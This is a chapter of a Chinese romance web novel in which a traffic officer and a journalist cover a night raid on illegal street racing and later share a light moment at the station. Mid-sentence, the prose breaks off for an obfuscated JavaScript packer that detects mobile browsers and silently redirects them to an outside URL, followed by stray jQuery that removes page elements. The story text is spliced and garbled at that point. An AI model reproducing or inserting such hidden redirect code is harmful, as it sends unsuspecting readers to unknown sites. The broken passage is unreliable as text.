“野哥，戚姐他们一会儿会来吧？”


    坐在车上，看屏幕里的监控有些无聊，刘金柱很期待的问况野。


    况野的第一反应是，戚许应该很少被人叫“某姐”这样的称呼，不知道她会不会喜欢。


    好像听她说，一起长大的姨妈家的表弟也很少叫她姐，都是互称名字。


    眼角瞟到仍然一脸期待的刘金柱，像是拉登衔着球等他一起玩的表情，赶快给他吃一颗定心丸。


    “一定会来，老梁通知他们的时间是十二点半。”


    刘金柱瞄了眼时间，“哦，那还要一个多小时。”


    “嗯。”况野也从口袋里拿出手机，摁亮屏幕瞥一眼，确认没有新的未读消息，又塞回去。


    刘金柱并没有打算就此结束聊天，“野哥，你说今晚结束之后，我请戚姐还有她同事们去咱常去的那家吃夜宵怎么样？”


    他们常去的那家严格来说不能算是一家店，叫深夜大排档更准确些。


    只在晚上八点以后出来摆摊，离队里走路过去五分钟的路程，主要是卖烧烤，因为老板是西北人，做面食也很有一手，就还加了羊肉粉、油泼面这样的主食。


    这秋天夜里，有点风凉露重的意思，吃过烧烤之后再来上一碗热乎乎的粉面，胃里和身上都舒服。


    况野觉得这个选择不错，依照他对戚许的了解，她绝对会大快朵颐很开心又发掘出一家宝藏大排档。


    而且那家消费也不贵，队里这几个再加上戚许跟同事，一共也花不了多少钱，请这顿客也不会给刘金柱经济上造成什么负担。


    “挺好的主意，你提前告诉她了没？”


    刘金柱挠挠脑袋，“我有她名片，不过还没有加她的微信，直接打电话又感觉很唐突......”


    况野有了一个再次打开微信的理由，他正在屏幕上打字，又听到刘金柱自言自语嘀咕。


    “我就是有点担心，戚姐会不会嫌环境不好，担心什么，食品安全卫生啥的。毕竟那就是个地摊......如果她其实不情愿但是还不好意思拒绝我，那我反而是给人家添了麻烦了。”


    况野立刻打消他的顾虑，“她是个挺直爽的人，不喜欢会直接说的。再说，你对魏大哥两口子手艺还没信心呐？他家那就没有难吃的东西。”


    刘金柱傻笑：“也是哈。”


    况野继续低头打字。


    “今天抓完非法赛车，金柱想请你和你同事们吃夜宵，去我们经常去的一家大排档。”


    戚许回复得很快。


    “你们经常去的那肯定错不了，我赶快告诉我同事这好消息。”


    “今晚的夜宵由刘金柱小朋友买单。”


    况野把手机屏幕递到刘金柱眼前给他看，“这下放心了？”


    “哦，”刘金柱不止看了两人这一段的聊天，还往上翻了翻。


    况野发现，立刻收回手机。


    “野哥，你们俩平时也会聊天啊？”刘金柱觉得，要今天没看到聊天记录，还真想不到这俩人其实还挺熟。


    况野有些答非所问：“也没聊啥，就是她最近迷上了户外运动，咨询我一些问题。”


    隔了一分多钟，又补充：“都是比较正经的话题，不闲聊。”


    刘金柱用莫名其妙的眼神看他。


    又没问你，解释这么多。


    **


    戚许晚上八点多才接到通知，今晚交警那边有一个集深夜飙车炸街、非法改装和赌博于一体的严打行动。


    因这个团伙举行活动的时间不定期，且具备一定的反侦查能力，这次行动事先一直保密部署，防止这伙人觉察到不对劲，取消集会。


    这次去现场的还是戚许、摄像大哥和司机师傅三人，他们俩回台里取了设备之后，再来接上她。


    根据前期收集到的信息，这团伙通常会在后半夜一点左右开始他们的“比赛”，交警已经在几个关键途经点和终点安排警力蹲点等候。


    戚许在家等待这段时间，把征集线索的邮箱收件箱翻找了一遍，筛选出反映夜间路上有人飙车炸街扰民以及地下赛车的内容，找到两三条写明具体地址，与今晚这伙人的活动范围相符合的，单独另存下来。


    又查阅了一些与“地下赛车”、“非法改装”相关的案例资料，她此前对这些内容算得上完全不了解，为了一会儿在现场显得很专业，至少是做了功课的样子，也得临时抱下佛脚。


    大概12点，摄像大哥给她打来电话，告诉她，他们已经取完了设备，现在往这边来接上她。


    戚许答应着好，准备把摊在床上的衣服往身上套。


    听着，摄像大哥声音无精打采的，末了还打了个长长的呵欠。


    穿戴好，戚许打开外卖软件，准备点几杯咖啡。


    幸好，家附近有一家很潮的24小时咖啡厅，还开了外卖，而且选择多样，味道也还行。


    虽然她用不着提神，给身边这些作息正常的同事们买点热饮料，熬夜能不那么难受还能暖和一下也挺好的。


    已经在一块工作了一段时间，戚许也了解他们的口味，点完两杯刚准备下单支付，想到了况野他们。


    他们虽然经常被抽调，后半夜加班应该也不好受，不如多买一些，大家分一分。


    于是切到微信上，把这家店的链接发给况野，让他看看品种，告诉她数量。


    况野那边“正在输入”了数秒。


    最后：“算我一共10个人，我们也不太懂具体的区别，你看着点，不太苦的就成。”


    好叭，不会出错的，那就拿铁。


    戚许正在加单，他又发来。


    “一共多少钱我转给你，不能每次你来都让你破费。”


    戚许回复一个一甩头的Jerry动态表情，“我是促成两个单位友好往来，再说看不起谁呢，我们记者工资虽然不高，几杯咖啡还是请得起的好嘛。”


    况野的存货里大概是没有这样需要自己添加的有趣表情的。


    所以他回复的是个经典微笑，只是戚许硬是感觉，那透出些许无奈。


    “正好10杯拿铁送一杯热牛奶，这次是我享用赠品【耶】。


    现在是小学数学应用题，已知一个杯托可以放4杯饮料，那么一共13杯，其中一杯牛奶被我在路上就喝掉的话，剩下的需要几个杯托？”


    打完这一串字发过去，又对着屏幕撅起嘴摇头。


    她这是不是太冷幽默了。


    然而，况野的关注点在于—“你不喝咖啡，是因为睡不着？”


    戚许：“嗯哼，我是熬夜小能手！”


    那边又一直输入中了，摄像大哥发定位，说他们快到了，戚许准备去小区门口等他们，顺便截取外卖来的咖啡。


    蹑手蹑脚往门口走，门禁却突然响起来。


    戚许碎碎埋怨着，这大半夜的外卖送得还真是快，冲过去按掉门禁。


    然而，来不及了，姨夫姨妈卧室传来声音，随后就是姨妈睡衣上披了一件毛衣开衫走了出来。


    “淘淘，你要出门啊？”


    戚许黏到她身边，“有个深夜飙车的新闻，姨妈，我很快拍完回来啦，你们先睡，放心，我们十几个人一起呢，安全得很。”


    姨妈咕哝着，跟你妈当年那劲头一模一样，又不放心地嘱咐了几句。


    戚许满口答应着，叫她放心，把人推回了卧室。


    她出门时，在电梯口正好遇到了外卖小哥，于是又在他莫名的眼神里，拎着刚从他手里接过来的袋子跟他一起下了楼。


    在小区门口略站了一下，就看到熟悉的台里的车，她招招手。


    上车后，把司机师傅和摄像大哥的两杯先递给他们，自己也打开热牛奶的盖子，慢慢啜饮。


    前面两人在聊家常，戚许感觉手机又响了一声，拿出看到，还是况野。


    “关于失眠，我认识一个比较资深的中医。要不要带你去他那儿看一下？”


    戚许牙齿啮咬着吸管，无声地对着手机屏幕笑起来。


    这就对了，不搞青春疼痛文学里面那些，救赎抚慰的。


    有病看病，这做派很况野。


    **


    还是为着行动的保密性考虑，戚许和摄像大哥被安排在了终点，也就是况野的位置。


    本来摄像大哥还犯愁全程不能参与的话，视频素材怎么办，在老梁展示了他们新添置的无人机之后彻底放了心。


    加之戚许又将刘金柱请客吃夜宵的消息转达给了他，于是彻底从“赶快拍完回家睡觉”无痛进入到“结束之后补拍一下现场和开场，赶快导完视频之后赶快去烧烤摊”状态。


    司机师傅在车里放倒座椅休息，他们两人被安排到况野和刘金柱那辆车的后座。


    况野隔一会儿就会朝窗外望一望，刘金柱以为他是紧张。


    安抚说：“野哥，你是不是担心他们取消活动啊。不会的，线人说得准准的，他们憋了好一阵儿，今晚必然会来的。”


    况野无可无不可地“嗯”了声。


    片刻后，刘金柱又带点兴奋叫道：“戚姐他们来了！”


    况野立即顺着他手指方向看去，顶风有些费力朝这边走来的两人。


    刘金柱评价：“戚姐今天风格有点酷啊。”


    是，况野也有同感。


    借着刘金柱这话头，他才觉得自己这不用掩饰的，对她周身的打量有了合理的动机。


    戚许今晚穿了一身黑，皮夹克、窄腿的牛仔裤和长度能裹住脚踝的绑带马丁靴。


    碎发被风吹得胡乱飞舞，她抬手将它们拂到耳后。


    走到车前，况野降下车窗。


    她矮


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662515|172658||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下身，对里面两人，“哈喽！”


    坐进后排之后，刘金柱兴奋地让况野演示，无人机所能拍摄的画面。


    “野哥可厉害了，飞手证说考就考。”


    况野按照他的要求，拉近、拉远的操作，用手背蹭了下鼻尖，“差不多行了啊。”


    自己还解释一下，“只是视距内驾驶员，很初级的。”


    戚许顺着刘金柱的话夸：“那也很棒了啊，”顺便斜睨着摄像大哥，“哥，你啥时候也去考一个？”


    摄像大哥扬扬手：“人家有些知名电视台已经用上这东西了啊，咱们这小地方的，等上面批了经费我再努力也来得及。”


    刘金柱提醒：“好像也有小型的，特别高的高度飞不了，但是你们应该足够用的。”


    “那我得打开橙色软件看看。”


    又跟摄像大哥就贷款上班这话题闲扯了一会儿，前面呼叫装置里发出声音。


    “起点，嫌疑车辆和人员已就位。”


    陆续是其他几个埋伏点的同事们汇报自己这里已经准备好。


    戚许觉得自己和摄像大哥像是看了场赛车的转播，虽然她还真的没看过正式的比赛。


    大哥抻着脖子目不转睛，一边和刘金柱点评，这车马力还真挺大，那车改装得不咋行。


    戚许戳戳他胳膊：“哥，忘了咱是来干嘛的了？”


    大哥徒劳地拍了两下胳膊，“没忘，咱这不是蛰伏呢嘛，等着交警同志们收网，咱们神兵天降，给这群违法乱纪的致命一击。”


    百来公里的一段路，实际“赛程”比戚许预期的要短，也有速度飙得太快的缘故。


    瞧着呼啸而至的前面几辆车抵达终点，有人欢呼着跳下来，有坐庄的清点账目。


    对讲机里传来一声“收网！”的短喝。


    况野确认无人机的位置可以足够完整、清晰的记录全过程，跟几个周围的同事一起出动。


    在参与者懵懂的表情里，亮明身份并且对人和车辆都进行了扣押。


    戚许也已经趁着这个时间就位，机位就选在停在终点和陆续抵达后同样被扣押的车辆前方。


    “观众朋友们，晚上好。这里是森城开发区金湖路，根据附近居民反馈以及交警蹲点......”她简要介绍了前因后果。


    “在现场可以看到，部分车辆是经过改装的......”镜头给到经过改装的车辆。


    “更加令人想不到的是，这样扰民、影响交通安全和正常驾驶的行为背后，还牵扯到地下赌车......”况野的同事已经对其中几辆车的改装给出结论，未在车管所备案且改装规模并不合法。


    那么关于非法改装的前因后果，就得等到警方调查出结果之后，戚许再进行公布了。


    全部拍摄完，况野和几个同事押送人和车辆回队里，约着在烧烤摊见。


    毕竟刘金柱这孩子难得请一回客，大家都很给面子。


    戚许他们也跟回队里，得导视频素材，而且那摊子离他们队也近。


    回到队里，大哥去导视频，为数不多的几个人都在处理各自手头上的事。


    戚许自己坐在大厅的等待区，摆弄自己新买的运动相机和它的手柄。


    今晚她背的双肩包容量蛮大的，今天新到的快递还处在她的“热恋期”，正爱不释手摆弄呢，顺手就塞进了包里。


    事实证明，她这行为是明智的，这不就可以用它来打发等待时间了嘛。


    不过这手柄好像做得有点紧，怎么都套不进去。


    她正龇牙咧嘴使劲，身后响起声音。


    “一个人在这儿干嘛呢？”


    回头看一眼，况野正朝她走过来。


    戚许闷头说：“现在是两个人咯。”


    余光里，他坐到了她身旁。


    况野通过她的解说，明白了这手柄是要套在机器上，他接过去但是也没扣上。


    “会不会是型号不对？”


    戚许龇牙咧嘴用力，“不会，我问了客服，她说第一次套是这样的，有点发紧很正常。就是得掰它，大力出奇迹。”


    迹字话音刚落，“咔哒”一声，脆弱的塑料件被她掰断。


    “嗯？”戚许歪着脑袋，一手一边拿着运动相机和手柄，还傻眼着。


    况野慢慢重复，“大力出奇迹......”


    戚许也慢慢放下手，抬起眼睛。


    两人对视一瞬。


    “哈哈！”


    “哈哈！”


    戚许突然拿起手里相机，“咔嚓”捕捉下况野还没消失的笑容。


    她买这个本来是为了录视频，手持好拿，差点忘了，它本质上是个相机。


    戚许审视屏幕里的况野。


    又与面前已经重新回归平静的真人对比。


    “你笑起来，挺好看的。”